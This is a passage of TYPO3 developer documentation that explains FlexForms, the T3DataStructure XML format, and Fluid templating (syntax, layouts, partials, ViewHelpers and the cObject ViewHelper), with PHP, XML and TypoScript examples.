Especially in combination with conditionally displaying settings with displayCond, you may want to trigger a reloading of the form when specific settings are changed. You can do that with:

<onChange>reload</onChange>
<config>
    <!-- ... -->
</config>
Copied!

The onChange element is optional and must be placed on the same level as the <config> element.

How to read FlexForms from an Extbase controller action

The settings can be read using $this->settings in an Extbase controller.

$includeCategories = (bool) ($this->settings['includeCategories'] ?? false);
Copied!

Read FlexForms values in PHP

You can use the FlexFormService to read the content of a FlexForm field:

EXT:my_extension/Classes/Controller/NonExtbaseController.php
use TYPO3\CMS\Core\Service\FlexFormService;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class NonExtbaseController
{

    // Inject FlexFormService
    public function __construct(
        private readonly FlexFormService $flexFormService,
    ) {
    }

    // ...

    private function loadFlexForm($flexFormString): array
    {
        return $this->flexFormService
            ->convertFlexFormContentToArray($flexFormString);
    }
}
Copied!

Using FlexFormService->convertFlexFormContentToArray the resulting array can be used conveniently in most use cases:

 var_export(
     $this->flexFormService->convertFlexFormContentToArray($flexFormString)
 );

/* Output:
[
    'settings' => [
        'singlePid' => 25,
        'listPid' => 380,
    ],
]
*/
Copied!

The result of GeneralUtility::xml2array() preserves the internal structure of the XML FlexForm, and is usually used to modify a FlexForm string. See section How to modify FlexForms from PHP for an example.

var_export(GeneralUtility::xml2array($flexFormString)));

/* Output:
[
    'data' =>
        [
            'sDEF' =>
                [
                    'lDEF' =>
                        [
                            'settings.singlePid' =>['vDEF' => '4',],
                            'settings.listPid' =>['vDEF' => '',],
                        ],
                ],
        ],
];
*/
Copied!

How to modify FlexForms from PHP

Some situation make it necessary to modify FlexForms via PHP.

In order to convert a FlexForm to a PHP array, preserving the structure, the xml2array method in GeneralUtility can be used to read the FlexForm data, then the FlexFormTools can be used to write back the changes.

Changed in version 13.0

\TYPO3\CMS\Core\Configuration\FlexForm\FlexFormTools is now a stateless service and can be injected via Dependency injection. FlexFormTools::flexArray2Xml() is now marked as internal.

EXT:my_extension/Classes/Service/FlexformModificationService.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use TYPO3\CMS\Core\Configuration\FlexForm\FlexFormTools;
use TYPO3\CMS\Core\Utility\GeneralUtility;

class _FlexformModificationService
{
    public function __construct(
        protected readonly FlexFormTools $flexFormTools,
    ) {}

    public function modifyFlexForm(string $flexFormString): string
    {
        $flexFormArray = GeneralUtility::xml2array($flexFormString);
        $changedFlexFormArray = $this->doSomething($flexFormArray);

        // Attention: flexArray2Xml is internal and subject to
        // be changed without notice. Use at your own risk!
        return $this->flexFormTools->flexArray2Xml($changedFlexFormArray, addPrologue: true);
    }

    private function doSomething(array $flexFormArray): array
    {
        // do something to the array
        return $flexFormArray;
    }
}
Copied!

How to access FlexForms From TypoScript

It is possible to read FlexForm properties from TypoScript:

lib.flexformContent = CONTENT
lib.flexformContent {
    table = tt_content
    select {
        pidInList = this
    }

    renderObj = COA
    renderObj {
        10 = TEXT
        10 {
            data = flexform: pi_flexform:settings.categories
        }
    }
}
Copied!

The key flexform is followed by the field which holds the FlexForm data (pi_flexform) and the name of the property whose content should be retrieved (settings.categories).

Providing default values for FlexForms attributes

When a new content element with an attached FlexForm is created, the default values for each FlexForm attribute is fetched from the <default> XML attribute within the specification of each FlexForm attribute. If that is missing, an empty value will be shown in the backend (FormEngine) fields.

While you can use page TSconfig's TCAdefaults to modify defaults of usual TCA-based attributes, this is not possible on FlexForms. This is because the values are calculated at an earlier step in the Core workflow, where FlexForm values have not yet been extracted.

How to access FlexForms from Fluid

If you are using an Extbase controller, FlexForm settings can be read from within a Fluid template using {settings}. See the note on naming restrictions in How to Read FlexForms From an Extbase Controller Action.

If you defined your FLUIDTEMPLATE in TypoScript, you can assign single variables like that:

my_content = FLUIDTEMPLATE
my_content {
  variables {
    categories = TEXT
    categories.data = flexform: pi_flexform:categories
  }
}
Copied!

In order to have all FlexForm fields available, you can use the FlexFormProcessor. See also FlexFormProcessor in the TypoScript Reference. This example would make your FlexForm data available as Fluid variable {myOutputVariable}:

my_content = FLUIDTEMPLATE
my_content {
  dataProcessing {
    10 = TYPO3\CMS\Frontend\DataProcessing\FlexFormProcessor
    10.fieldName = my_flexform_field
    10.as = myOutputVariable
  }
}
Copied!

Steps to Perform (Editor)

After inserting a plugin, the editor can configure this plugin by switching to the tab "Plugin" or whatever string you defined to replace this.

Credits

Some of the examples were taken from the extensions georgringer/news (by Georg Ringer) and bk2k/bootstrap-package (by Benjamin Kott).

Further enhancements by the TYPO3 community are welcome!

T3DataStructure

More information on the used data structures within FlexForms can be found in these following chapters:

T3DataStructure

TYPO3 offers an XML format, T3DataStructure, which defines a hierarchical data structure. In itself the data structure definition does not do much - it is only a back bone for higher level applications which can add their own configuration inside.

The T3DataStructure could be used for different applications in theory, however it is commonly only used in the context of FlexForms.

FlexForms are used in the contexts:

  • TCA form type FlexForms: The type allows users to build information hierarchies (in XML) according to the data structure. In this sense the Data Structure is like a DTD (Document Type Definition) for the backend which can render a dynamic form based on the Data Structure.
  • The configuration of plugins of many common extensions with FlexForms like news.
  • FlexForms can be used for containers created by the extensions like container or gridelements
  • dce an an extension to create content elements based on FlexForms.

This documentation of a data structure will document the general aspects of the XML format and leave the details about FlexForms and TemplaVoila to be documented elsewhere.

Some other facts about Data Structures (DS):

  • A Data Structure is defined in XML with the document tag named "<T3DataStructure>"
  • The XML format generally complies with what can be converted into a PHP array by GeneralUtility::xml2array() - thus it directly reflects how a multidimensional PHP array is constructed.
  • A Data Structure can be arranged in a set of "sheets". The purpose of sheets will depend on the application. Basically sheets are like a one-dimensional internal categorization of Data Structures.
  • Parsing a Data Structure into a PHP array can be achieved by passing it to GeneralUtility::xml2array() (see the Parsing a Data Structure section).
  • "DS" is sometimes used as short for Data Structure

Next chapters

Elements

This is the list of elements and their nesting in the Data Structure.

Elements Nesting Other Elements ("Array" Elements)

All elements defined here cannot contain any string value but must contain another set of elements.

(In a PHP array this corresponds to saying that all these elements must be arrays.)

Element

Description

Child elements

<T3DataStructure>

Document tag

<meta>

<ROOT> or <sheets>

<meta>

Can contain application specific meta settings

(depends on application)

<ROOT>

<[field name]>

Defines an "object" in the Data Structure

  • <ROOT> is reserved as tag for the first element in the Data Structure.The <ROOT> element must have a <type> tag with the value "array" and then define other objects nested in <el> tags.
  • [field name] defines the objects name

<type>

<section>

<el>

<[application tag]>

<sheets>

Defines a collection of "sheets" which is like a one-dimensional list of independent Data Structures

<[sheet name]>

<sheetTitle>

Title of the sheet. Mandatory for any sheet except the first (which gets "General" in this case). Can be a plain string or a reference to language file using standard LLL syntax. Ignored if sheets are not defined for the flexform.

 

<displayCond>

Condition that must be met in order for the sheet to be displayed. If the condition is not met, the sheet is hidden.

For more details refer to the description of the "displayCond" property in the TCA Reference.

 

<[sheet ident]>

Defines an independent data structure starting with a <ROOT> tag.

<ROOT>

<el>

Contains a collection of Data Structure "objects"

<[field name]>

Elements can use the attribute type to define their type, for example explicitly use boolean. An example would look like:

<required type="boolean">1</required>
Copied!

Elements Containing Values ("Value" Elements)

All elements defined here must contain a string value and no other XML tags whatsoever!

(In a PHP array this corresponds to saying that all these elements must be strings or integers.)

Element

Format

Description

<type>

Keyword string:

"array", [blank] (=default)

Defines the type of object.

  • "array" means that the object contains a collection of other objects defined inside the <el> tag on the same level. If the value is "array" you can use the boolean "<section>". See below.
  • Default value means that the object does not contain sub objects. The meaning of such an object is determined by the application using the data structure. For FlexForms this object would draw a form element.

<section>

Boolean

Defines for an object of the type <array> that it must contain other "array" type objects in each item of <el>. The meaning of this is application specific. For FlexForms it will allow the user to select between possible arrays of objects to create in the form. This is similar to the concept of IRRE / inline TCA definitions.

Changed in version 13.0

The usage of available element types within FlexForm sections is restricted. You should only use simple TCA types like type => 'input' within sections, and relations ( type => 'group', type => 'inline', type => 'select' and similar) should be avoided. TYPO3 v13 specifically disallows using type => 'select' with a foreign_table set, which will raise an exception. This does not apply for FlexForm fields outside of a <section>. Details can be found in Breaking: #102970 - No database relations in FlexForm container sections.

Example

Below is the structure of a basic FlexForm from the example extension typo3/cms-styleguide :

EXT:styleguide/Configuration/FlexForms/Simple.xml
<T3DataStructure>
    <sheets>
        <sDEF>
            <ROOT>
                <sheetTitle>Sheet Title</sheetTitle>
                <type>array</type>
                <el>
                    <input_1>
                        <label>input_1</label>
                        <config>
                            <type>input</type>
                        </config>
                    </input_1>
                </el>
            </ROOT>
        </sDEF>
    </sheets>
</T3DataStructure>
Copied!

For a more elaborate example, have a look at the plugin configuration of system extension felogin (EXT:felogin/Configuration/FlexForms/Login.xml (GitHub)). It shows an example of relative complex data structure used in a FlexForm.

More information about such usage of FlexForms can be found in the relevant section of the TCA reference.

Sheet References

If Data Structures are arranged in a collection of sheets you can choose to store one or more sheets externally in separate files. This is done by setting the value of the <[sheet ident]> tag to a relative file reference instead of being a definition of the <ROOT> element.

Example

Taking the Data Structure from the previous example we could rearrange it in separate files:

Main Data Structure:

<T3DataStructure>
    <sheets>
        <sDEF>EXT:my_extension/Configuration/FlexForms/sheets/default_sheet.xml</sDEF>
        <s_welcome>EXT:my_extension/Configuration/FlexForms/sheets/welcome_sheet.xml</s_welcome>
    </sheets>
</T3DataStructure>
Copied!
EXT:my_extension/Configuration/FlexForms/sheets/default_sheet.xml
<T3DataStructure>
    <ROOT>
        <sheetTitle>
            LLL:EXT:felogin/locallang_db.xlf:tt_content.pi_flexform.sheet_general
        </sheetTitle>
        <type>array</type>
        <el>
            <showForgotPassword>
                <label>
                    LLL:EXT:felogin/locallang_db.xlf:tt_content.pi_flexform.show_forgot_password
                </label>
                <config>
                    <type>check</type>
                    <items type="array">
                        <numIndex index="1" type="array">
                            <label>
                                LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:labels.enabled
                            </label>
                            <value>1</value>
                        </numIndex>
                    </items>
                </config>
            </showForgotPassword>
            <showPermaLogin>
                <label>
                    LLL:EXT:felogin/locallang_db.xlf:tt_content.pi_flexform.show_permalogin
                </label>
                <config>
                    <default>1</default>
                    <type>check</type>
                    <items type="array">
                        <numIndex index="1" type="array">
                            <label>
                                LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:labels.enabled
                            </label>
                            <value>1</value>
                        </numIndex>
                    </items>
                </config>
            </showPermaLogin>
            // ...
        </el>
    </ROOT>
</T3DataStructure>
Copied!

and the same for the other sheet welcome_sheet.xml.

Parsing a Data Structure

You can convert a Data Structure XML document into a PHP array by using the function \TYPO3\CMS\Core\Utility\GeneralUtility::xml2array(). The reverse transformation is achieved using \TYPO3\CMS\Core\Utility\GeneralUtility::array2xml().

If the Data Structure uses referenced sheets, for example

<T3DataStructure>
  <sheets>
        <sDEF>fileadmin/sheets/default_sheet.xml</sDEF>
    <s_welcome>fileadmin/sheets/welcome_sheet.xml</s_welcome>
  </sheets>
</T3DataStructure>
Copied!

Additional operations must be performed to resolve the sheet's content. See class How to modify FlexForms from PHP.

Introduction to Fluid

Fluid is TYPO3’s default rendering engine but can also be used in standalone PHP projects. The Fluid source code is being developed as an independent project outside of the TYPO3 Core.

Fluid is based on XML and you can use HTML markup in Fluid.

Fluid ViewHelpers can be used for various purposes. Some transform data, some include Partials, some loop over data or even set variables. You can find a complete list of them in the ViewHelper Reference.

You can write your own custom ViewHelper, which is a PHP component.

Example Fluid snippet

This is how a simple Fluid snippet could look like:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
<h4>This is your headline</h4>
<p>
    <f:if condition="{myExpression}">
        <f:then>
            {somevariable}
        </f:then>
        <f:else>
            {someothervariable}
        </f:else>
    </f:if>
</p>
Copied!

The resulting HTML may look like this:

Example frontend output
<h4>This is your headline</h4>
<p>This is the content of variable "somevariable"</p>
Copied!

The above Fluid snippet contains:

ViewHelpers:

The XML elements that start with f: like <f:if> etc. are standard ViewHelpers. It is also possible to define custom ViewHelpers, for example <foo:bar foo="bar">. A corresponding file ViewHelpers/BarViewHelper.php with the methods initializeArguments and render contains the HTML generation logic. ViewHelpers are Fluid components which make a function call to PHP from inside of a template. TYPO3 adds some more ViewHelpers for TYPO3 specific functionality.

ViewHelpers can do simple processing such as remove spaces with the Spaceless ViewHelper <f:spaceless> ViewHelper or create a link as is done in the TYPO3 Fluid Viewhelper Link.page ViewHelper <f:link.page>.

Expressions, variables:
Fluid uses placeholders to fill content in specified areas in the template where the result is rendered when the template is evaluated. Content within braces (for example {somevariable}) can contain variables or expressions.
Conditions:
The conditions are supplied here by the If ViewHelper <f:if> ViewHelper.

Directory structure

In your extension, the following directory structure should be used for Fluid files:

  • EXT:my_extension/

    • Resources

      • Private

        • Layouts

          • All layouts go here
        • Partials

          • All partials go here
        • Templates

          • All templates go here

This directory structure is the convention used by TYPO3. When using Fluid outside of TYPO3 you can use any folder structure you like.

If you are using Extbase controller actions in combination with Fluid, Extbase defines how files and directories should be named within these directories. Extbase uses sub directories located within the "Templates" directory to group templates by controller name and the filename of templates to correspond to a certain action on that controller.

  • EXT:my_extension/

    • Resources

      • Private

        • Templates

          • Blog

            • List.html (for Blog->list() action)
            • Show.html (for Blog->show() action)

If you don't use Extbase you can still use this convention, but it is not a requirement to use this structure to group templates into logical groups, such as "Page" and "Content" to group different types of templates.

In Fluid, the location of these paths is defined with \TYPO3Fluid\Fluid\Core\Rendering\RenderingContext->setTemplatePaths().

TYPO3 provides the possibility to set the paths using TypoScript.

Templates

The template contains the main Fluid template.

Layouts

optional

Layouts serve as a wrapper for a web page or a specific block of content. If using Fluid for a sitepackage, a single layout file will often contain multiple components such as your sites menu, footer, and any other items that are reused throughout your website.

Templates can be used with or without a layout.

With a Layout
anything that's not inside a section is ignored. When a Layout is used, the Layout determines which sections will be rendered from the template through the use of the Render ViewHelper <f:render> in the layout file.
Without a Layout
anything that's not inside a section is rendered. You can still use sections of course, but you then must use Render ViewHelper <f:render> in the template file itself, outside of a section, to render a section.

For example, the layout may like this

EXT:my_extension/Resources/Private/Layouts/Default.html
<div class="header">
    <f:render section="Header" />
</div>
<div class="main">
    <f:render section="Main" />
</div>
Copied!

The layout defines which sections are rendered and in which order. It can contain additional arbitrary Fluid / HTML. How you name the sections and which sections you use is up to you.

The corresponding template should include the sections which are to be rendered.

EXT:my_extension/Resources/Private/Templates/Default.html
<f:layout name="Default" />

<f:section name="Header">
    <!-- add header here ! -->
</f:section>

<f:section name="Main">
    <!-- add main content here ! -->
</f:section>
Copied!

Partials

optional

Some parts within different templates might be the same. To not repeat this part in multiple templates, Fluid offers so-called partials. Partials are small pieces of Fluid template within a separate file that can be included in multiple templates.

Partials are stored, by convention, within Resources/Private/Partials/.

Example partial:

EXT:my_extension/Resources/Private/Partials/Tags.html
<b>Tags</b>:
<ul>
    <f:for each="{tags}" as="tag">
        <li>{tag}</li>
    </f:for>
</ul>
Copied!

Example template using the partial:

EXT:my_extension/Resources/Private/Templates/Show.html
<f:render partial="Tags" arguments="{tags: post.tags}" />
Copied!

The variable post.tags is passed to the partial as variable tags.

If ViewHelpers from a different namespace are used in the partial, the namespace import can be done in the template or the partial.

Example: Using Fluid to create a theme for a site package

This example was taken from a theme created by the Site Package Builder and reduced to a very basic example.

  • packages/my_sitepackage/

    • Configuration/Sets/SitePackage/setup.typoscript
    • Resources/Private/PageView

      • Layouts

        • PageLayout.html
      • Partials

        • Content.html
        • Footer.html
        • ...
      • Pages

        • Default.html
        • Subpage.html

Set the Fluid base path with TypoScript using the PAGEVIEW TypoScript object.

packages/my_sitepackage/Configuration/Sets/SitePackage/setup.typoscript
page = PAGE
page {
  10 = PAGEVIEW
  10 {
    paths {
      0 = EXT:my_site_package/Resources/Private/PageView/
      10 = {$MySitePackage.template_path}
    }

    dataProcessing {
      # makes content elements available as {content} in Fluid template
      10 = page-content
    }
  }
}
Copied!

The template in file Pages/Default.html is automatically used whenever there is no specific template for the current Backend layout of the page.

EXT:my_sitepackage/Resources/Private/PageView/Pages/Default.html
<f:layout name="PageLayout"/>
<f:section name="Main">
    <div class="container">
        <f:render partial="Content" arguments="{records: content.main.records}"/>
    </div>

</f:section>
Copied!

It includes the layout Layouts/PageLayout.html. And uses partial Partials/Content.html to display its content.

It uses the partial Partials/Content.html to display its content.

Resources/Private/PageView/Partials/Content.html
<f:for each="{records}" as="record">
    <f:cObject
        typoscriptObjectPath="{record.mainType}"
        data="{record}"
        table="{record.mainType}"
    />
</f:for>
Copied!

The template for a different backend layout will look similar, but has for example two columns:

my_sitepackage/Resources/Private/PageView/Page/Subpage.html
<f:layout name="PageLayout"/>
<f:section name="Main">
    <div class="container">
        <div class="row">
            <div class="col-md-8">
                <f:render partial="Content" arguments="{records: content.main.records}"/>
            </div>
            <div class="col-md-4">
                <f:render partial="Content" arguments="{records: content.sidebar.records}"/>
            </div>
        </div>
    </div>
</f:section>
Copied!

The page layout takes care of elements that are shared across all or most page types:

my_sitepackage/Resources/Private/PageView/Layouts/PageLayout.html
<f:asset.css identifier="main" href="EXT:my_site_package/Resources/Public/Css/main.css" />
<main>
    <f:render partial="Header" arguments="{_all}"/>
    <f:render section="Main"/>
    <f:render partial="Footer" arguments="{_all}"/>
</main>
Copied!

Fluid syntax

Variables

Assign a variable in PHP:

$this->view->assign('title', 'An example title');
Copied!

Output it in a Fluid template:

<h1>{title}</h1>
Copied!

The result:

<h1>An example title</h1>
Copied!

In the template's HTML code, wrap the variable name into curly braces to output it.

Reserved variables in Fluid

Changed in version Fluid 4.0 / TYPO3 v13.3

Assigning variables of names true, false or null will throw an exception in Fluid v4.

See also Migration.

The following variable names are reserved and may not be used:

  • false
  • null
  • true

Migration

EXT:my_extension/Classes/Controller/MyController.php (diff)
- $myView->assign('true', $something);
+ $myView->assign('myVariable', $something);
Copied!
EXT:my_extension/Resources/Private/Templates/MyTemplate.html (diff)
- <f:variable name="false">Some value</f:variable>
- <div>{false}</div>
+ <f:variable name="myVariable">Some value</f:variable>
+ <div>{myVariable}</div>
Copied!

Boolean values

New in version Fluid 4.0 / TYPO3 v13.3

The boolean literals {true} and {false} have been introduced.

You can use the boolean literals {true} and {false} to enable or disable properties of tag-based ViewHelpers:

<my:viewhelper async="{true}" />
Result: <tag async="async" />

<my:viewhelper async="{false}" />
Result: <tag />
Copied!

Of course, any variable containing a boolean can be supplied as well:

<my:viewhelper async="{isAsync}" />
Copied!

It is also possible to cast a string to a boolean

<my:viewhelper async="{myString as boolean}" />
Copied!

For compatibility reasons empty strings still lead to the attribute being omitted from the tag.

<f:variable name="myEmptyString"></f:variable>
<my:viewhelper async="{myEmptyString}" />
Result: <tag />
Copied!

Arrays and objects

Assign an array in PHP:

$this->view->assign('data', ['Low', 'High']);
Copied!

Use the dot . to access array keys:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
<p>{data.0}, {data.1}</p>
Copied!

This also works for object properties:

EXT:site_package/Classes/Controller/SomeController.php
$this->view->assign('product', $myProduct);
Copied!

Use it like this:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
<p>{product.name}: {product.price}</p>
Copied!

Accessing dynamic keys/properties

It is possible to access array or object values by a dynamic index:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
{myArray.{myIndex}}
Copied!

ViewHelpers

ViewHelpers are special tags in the template which provide more complex functionality such as loops or generating links.

The functionality of the ViewHelper is implemented in PHP, every ViewHelper has its own PHP class.

See the Fluid ViewHelper Reference for a complete list of all available ViewHelpers.

Within Fluid, the ViewHelper is used as a special HTML element with a namespace prefix, for example the namespace prefix "f" is used for ViewHelpers from the Fluid namespace:

Fluid example with for ViewHelper
<f:for each="{results}" as="result">
   <li>{result.title}</li>
</f:for>
Copied!

The "f" namespace is already defined, but can be explicitly specified to improve IDE autocompletion.

Fluid example with custom ViewHelper "custom" in namespace "blog":

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
<blog:custom argument1="something"/>
Copied!

Here, we are using a custom ViewHelper within the namespace "blog". The namespace must be registered explicitly, see the next section.

Import ViewHelper namespaces

There are 3 ways to import ViewHelper namespaces in TYPO3. In all three examples blog is the namespace available within the Fluid template and MyVendor\BlogExample\ViewHelpers is the PHP namespace to import into Fluid.

  1. Use an <html> tag with xmlns

    EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
    <html
       xmlns:blog="http://typo3.org/ns/Myvendor/MyExtension/ViewHelpers"
       data-namespace-typo3-fluid="true"
    >
    </html>
    Copied!

    This is useful for various IDEs and HTML auto-completion. The <html> element itself will not be rendered if the attribute data-namespace-typo3-fluid="true" is specified.

    The namespace is built using the fixed http://typo3.org/ns prefix followed by the vendor name, package name and the fixed ViewHelpers suffix.

  2. Local namespace import via curly braces {}-syntax

    EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
    {namespace blog=MyVendor\BlogExample\ViewHelpers}
    Copied!

    Each of the rows will result in a blank line. Multiple import statements can go into a single or multiple lines.

  3. Global namespace import

    Fluid allows to register global namespaces. This is already done for typo3/cms-fluid and typo3fluid/fluid ViewHelpers. Therefore they are always available via the f namespace.

    Custom ViewHelpers, for example for a site package, can be registered the same way. Namespaces are registered within $GLOBALS['TYPO3_CONF_VARS']['SYS']['fluid']['namespaces'] , for example:

    EXT:mye_extension/ext_localconf.php
    <?php
    
    declare(strict_types=1);
    
    use MyVendor\MyExtension\ViewHelpers;
    
    defined('TYPO3') or die();
    
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['fluid']['namespaces']['myextension'] = [
        ViewHelpers::class,
    ];
    
    Copied!

ViewHelper attributes

Simple

Variables can be inserted into ViewHelper attributes by putting them in curly braces:

EXT:site_package/Resources/Private/Templates/SomeTemplate.html
Now it is: <f:format.date format="{format}">{date}</f:format.date>
Copied!

Fluid inline notation

An alternative to the tag based notation used above is inline notation. For example, compare the 2 identical Fluid constructs:

EXT:my_extensions/Resources/Private/Templates/Something.html
<!-- tag based notation -->
<f:translate key="LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive"/>

<!-- inline notation -->
{f:translate(key: 'LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive')}
Copied!

Tag based notation and inline notation can be freely mixed within one Fluid template.

Inline notation is often a better choice if HTML tags are nested, for example:

EXT:my_extensions/Resources/Private/Templates/Something.html
<!-- tag based notation -->
<span title="<f:translate key='LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive'/>">

<-- inline notation -->
<span title="{f:translate(key: 'LLL:EXT:core/Resources/Private/Language/locallang_misc.xlf:bookmark_inactive')}">
Copied!

More complex example with chaining:

EXT:my_extensions/Resources/Private/Templates/Something.html
<!-- tag based notation -->
<f:format.padding padLength="40"><f:format.date format="Y-m-d">{post.date}</f:format.date></f:format.padding>

<!-- inline notation -->
{post.date -> f:format.date(format: 'Y-m-d') -> f:format.padding(padLength: 40)}
Copied!

Boolean conditions

Boolean conditions are expressions that evaluate to true or false.

Boolean conditions can be used as ViewHelper arguments, whenever the datatype boolean is given, e.g. in the if ViewHelper condition argument.

  1. The expression can be a variable which is evaluated as follows:

    • number: evaluates to true, if > 0.
    • array: evaluates to true if it contains at least one element
  2. The expression can be a statement consisting of: term1 operator term2, for example {variable} > 3

    • The operator can be one of >, >=, <, <=, ==, ===, !=, !== or %,
  3. The previous expressions can be combined with || (or) or && (and).

Examples:

<f:if condition="{myObject}">
  ...
</f:if>

<f:if condition="{myNumber} > 3 || {otherNumber} || {somethingelse}">
   <f:then>
      ...
   </f:then>
   <f:else>
      ...
   </f:else>
</f:if>

<my:custom showLabel="{myString} === 'something'">
  ...
</my:custom>
Copied!

Example using the inline notation:

<div class="{f:if(condition: blog.posts, then: 'blogPostsAvailable', else: 'noPosts')}">
  ...
</div>
Copied!

Comments

If you want to completely skip parts of your template, you can make use of the Comment ViewHelper <f:comment>.

Changed in version 13.3

The content of the Comment ViewHelper <f:comment> is removed before parsing. It is no longer necessary to combine it with CDATA tags to disable parsing.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:comment>
    This will be ignored by the Fluid parser and will not appear in
    the source code of the rendered template
</f:comment>
Copied!

You can also use the Comment ViewHelper <f:comment> to temporarily comment out some Fluid syntax while debugging:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:comment>
    <x:someBrokenFluid>
</f:comment>
Copied!

Using Fluid in TYPO3

Here are some examples of how Fluid can be used in TYPO3:

Changed in version 14.0

These classes were marked as deprecated in TYPO3 v13.3 and have been removed in v14:

  • \TYPO3\CMS\Fluid\View\StandaloneView
  • \TYPO3\CMS\Fluid\View\TemplateView
  • \TYPO3\CMS\Fluid\View\AbstractTemplateView
  • \TYPO3\CMS\Extbase\Mvc\View\ViewResolverInterface
  • \TYPO3\CMS\Extbase\Mvc\View\GenericViewResolver

Using the generic view factory (ViewFactoryInterface)

New in version 13.3

Class \TYPO3\CMS\Core\View\ViewFactoryInterface has been added as a generic view factory interface to create views that return an instance of \TYPO3\CMS\Core\View\ViewInterface . This implements the "V" of "MVC" in a generic way and is used throughout the TYPO3 core.

You can inject an instance of the \TYPO3\CMS\Core\View\ViewFactoryInterface to create an instance of a \TYPO3\CMS\Core\View\ViewInterface where you need one.

EXT:my_extension/Classes/Controller/MyController.php (Not Extbase)
<?php

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\View\ViewFactoryData;
use TYPO3\CMS\Core\View\ViewFactoryInterface;

final readonly class MyController
{
    public function __construct(
        private ViewFactoryInterface $viewFactory,
    ) {}

    public function myAction(ServerRequestInterface $request): string
    {
        $viewFactoryData = new ViewFactoryData(
            templateRootPaths: ['EXT:my_extension/Resources/Private/Templates'],
            partialRootPaths: ['EXT:my_extension/Resources/Private/Partials'],
            layoutRootPaths: ['EXT:my_extension/Resources/Private/Layouts'],
            request: $request,
        );
        $view = $this->viewFactory->create($viewFactoryData);
        $view->assign('mykey', 'myValue');
        return $view->render('path/to/template');
    }
}
Copied!

The ViewFactoryInterface needs an instance of \TYPO3\CMS\Core\View\ViewFactoryData , which is a data object and should therefore be created via new.

Best practices in creating a ViewFactoryData instance:

  • Hand over request of type \Psr\Http\Message\ServerRequestInterface if possible. See Getting the PSR-7 request object.
  • Use the tuple $templateRootPaths, $partialRootPaths and $layoutRootPaths if possible by providing an array of "base" paths like 'EXT:my_extension/Resources/Private/(Templates|Partials|Layouts)'
  • Avoid using parameter $templatePathAndFilename
  • Call render('path/within/templateRootPath') without file-ending on the returned ViewInterface instance.

cObject ViewHelper

The cObject ViewHelper combines Fluid with TypoScript. The following line in the HTML template will be replaced with the referenced TypoScript object.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:cObject typoscriptObjectPath="lib.title"/>
Copied!

Now we only have to define lib.title in the TypoScript Setup:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.title = TEXT
lib.title.value = Extbase and Fluid
Copied!

»Extbase and Fluid« will be outputted in the template. Now we can output an image (e.g. headlines with unusual fonts) by changing the TypoScript to:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.title = IMAGE
lib.title {
  file = GIFBUILDER
  file {
     10 = TEXT
     10.value = Extbase and Fluid
  }
}
Copied!

So far, it's not a "real world" example because no data is being passed from Fluid to the TypoScript. We'll demonstrate how to pass a parameter to the TypoScript with the example of a user counter. The value of our user counter should come from the Blog-Post. (Every Blog-Post should count how many times it's been viewed in this example).

In the Fluid template we add:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:cObject typoscriptObjectPath="lib.myCounter">{post.viewCount}</f:cObject>
Copied!

Alternatively, we can use a self-closing tag. The data is being passed with the help of the data attribute.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:cObject typoscriptObjectPath="lib.myCounter" data="{post.viewCount}" />
Copied!

Also advisable for this example is the inline notation, because you can easily read it from left to right:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
{post.viewCount -> f:cObject(typoscriptObjectPath: 'lib.myCounter')}
Copied!

Now we still have to evaluate the passed value in our TypoScript template. We can use the stdWrap attribute current to achieve this. It works like a switch: If set to 1, the value, which we passed to the TypoScript object in the Fluid template will be used. In our example, it looks like this:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.myCounter = TEXT
lib.myCounter {
  current = 1
  wrap = <strong>|</strong>
}
Copied!

This TypoScript snippet outputs the current number of visits written in bold.

Now for example we can output the user counter as image instead of text without modifying the Fluid template. We have to use the following TypoScript:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.myCounter = IMAGE
lib.myCounter {
  file = GIFBUILDER
  file {
     10 = TEXT
     10.text.current = 1
  }
}
Copied!

At the moment, we're only passing a single value to the TypoScript. It's more versatile, though, to pass multiple values to the TypoScript object because then you can select which value to use in the TypoScript, and the values can be concatenated. You can also pass whole objects to the ViewHelper in the template:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
{post -> f:cObject(typoscriptObjectPath: 'lib.myCounter')}
Copied!

Now, how do you access individual properties of the object in the TypoScript-Setup? You can use the property field of stdWrap:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.myCounter = COA
lib.myCounter {
  10 = TEXT
  10.field = title
  20 = TEXT
  20.field = viewCount
  wrap = (<strong>|</strong>)
}
Copied!

Now we always output the title of the blog, followed by the amount of page visits in parenthesis in the example above.

You can also combine the field based approach with current: If you set the property currentValueKey in the cObject ViewHelper, this value will be available in the TypoScript template with current. That is especially useful when you want to emphasize that the value is very important for the TypoScript template. For example, the amount of visits is significant in our view counter:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
{post -> f:cObject(typoscriptObjectPath: 'lib.myCounter', currentValueKey: 'viewCount')}
Copied!

In the TypoScript template you can now use both, current and field, and have therefor the maximum flexibility with the greatest readability. The following TypoScript snippet outputs the same information as the previous example:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.myCounter = COA
lib.myCounter {
